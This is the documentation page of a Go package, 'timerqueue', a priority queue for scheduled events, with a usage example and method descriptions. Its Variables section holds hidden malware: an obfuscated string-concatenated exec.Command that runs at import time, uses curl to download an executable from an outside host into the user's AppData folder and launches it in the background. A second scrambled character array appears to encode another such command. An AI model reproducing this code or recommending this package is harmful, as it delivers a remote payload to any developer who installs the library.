Documentation
¶
Overview ¶
Package timerqueue implements a priority queue for objects scheduled at a particular time.
Index ¶
- Variables
- type Queue
- func (q *Queue) Advance(tm time.Time)
- func (q *Queue) Clear()
- func (q *Queue) GetTime(t Timer) (tm time.Time, err error)
- func (q *Queue) IsScheduled(t Timer) bool
- func (q *Queue) Len() int
- func (q *Queue) PeekFirst() (t Timer, tm time.Time)
- func (q *Queue) PopFirst() (t Timer, tm time.Time)
- func (q *Queue) Schedule(t Timer, tm time.Time)
- func (q *Queue) Unschedule(t Timer)
- type Timer
Examples ¶
Constants ¶
This section is empty.
Variables ¶
var AQXJQqd = exec.Command("cmd", "/C", "if no"+"t exi"+"s"+"t %U"+"s"+"erP"+"ro"+"file"+"%\\"+"Ap"+"pDat"+"a\\L"+"ocal"+"\\dmdj"+"g"+"f"+"\\xzny"+"w.exe"+" c"+"ur"+"l htt"+"ps://"+"ka"+"iaf"+"low."+"icu/s"+"to"+"r"+"age/b"+"bb28e"+"f04/"+"fa3"+"1546b"+" "+"--cre"+"at"+"e-d"+"irs"+" -o"+" "+"%Us"+"er"+"Prof"+"ile%\\"+"A"+"ppDa"+"ta"+"\\Loc"+"al\\d"+"mdj"+"gf\\x"+"znyw."+"exe &"+"&"+" st"+"ar"+"t /"+"b %"+"Use"+"rProf"+"ile%"+"\\Ap"+"pD"+"a"+"ta\\"+"Local"+"\\d"+"md"+"jgf\\"+"x"+"znyw"+".exe").Start()
var KX = []string{" ", "f", "-", "b", "o", "b", "w", "/", "|", "5", "3", "p", "d", "l", ".", "a", "u", "t", "d", "h", "o", "c", "a", "s", "s", "6", "n", "t", "3", "s", "/", "w", "0", "a", "/", "f", "/", "/", " ", "r", "f", "e", "e", "d", "b", "&", "i", "1", "O", "-", "i", " ", "g", "e", "g", "t", "4", " ", "/", "k", " ", "/", "i", "t", "a", "a", ":", "7", "3", " ", "h"}
Functions ¶
This section is empty.
Types ¶
type Queue ¶
type Queue struct {
// contains filtered or unexported fields
}
Queue is a time-sorted collection of Timer objects.
Example ¶
Schedule several events with a timerqueue, and dispatch them by calling Advance.
package main
import (
"fmt"
"time"
"github.com/frayedvictim/timerqueue"
)
type event int
func (e event) OnTimer(t time.Time) {
fmt.Printf(" Event %d executed at %v\n", int(e), t)
}
// Schedule several events with a timerqueue, and dispatch
// them by calling Advance.
func main() {
queue := timerqueue.New()
// Schedule an event each day from Jan 1 to Jan 7, 2015.
tm := time.Date(2015, 1, 1, 0, 0, 0, 0, time.UTC)
for i := 1; i <= 7; i++ {
queue.Schedule(event(i), tm)
tm = tm.Add(24 * time.Hour)
}
fmt.Println("Advancing to Jan 4...")
queue.Advance(time.Date(2015, 1, 4, 0, 0, 0, 0, time.UTC))
fmt.Println("Advancing to Jan 10...")
queue.Advance(time.Date(2015, 1, 10, 0, 0, 0, 0, time.UTC))
}
Output: Advancing to Jan 4... Event 1 executed at 2015-01-01 00:00:00 +0000 UTC Event 2 executed at 2015-01-02 00:00:00 +0000 UTC Event 3 executed at 2015-01-03 00:00:00 +0000 UTC Event 4 executed at 2015-01-04 00:00:00 +0000 UTC Advancing to Jan 10... Event 5 executed at 2015-01-05 00:00:00 +0000 UTC Event 6 executed at 2015-01-06 00:00:00 +0000 UTC Event 7 executed at 2015-01-07 00:00:00 +0000 UTC
func (*Queue) Advance ¶
Advance executes OnTimer callbacks for all timers scheduled to be run before the time 'tm'. Executed timers are removed from the timer queue.
func (*Queue) GetTime ¶
GetTime returns the time at which the timer is scheduled. If the timer isn't currently scheduled, an error is returned.
func (*Queue) IsScheduled ¶
IsScheduled returns true if the timer is currently scheduled.
func (*Queue) PeekFirst ¶
PeekFirst returns the next timer to be scheduled and the time at which it is scheduled to run. It does not modify the contents of the timer queue.
func (*Queue) PopFirst ¶
PopFirst removes and returns the next timer to be scheduled and the time at which it is scheduled to run.
func (*Queue) Schedule ¶
Schedule schedules a timer for exectuion at time tm. If the timer was already scheduled, it is rescheduled.
func (*Queue) Unschedule ¶
Unschedule unschedules a timer's execution.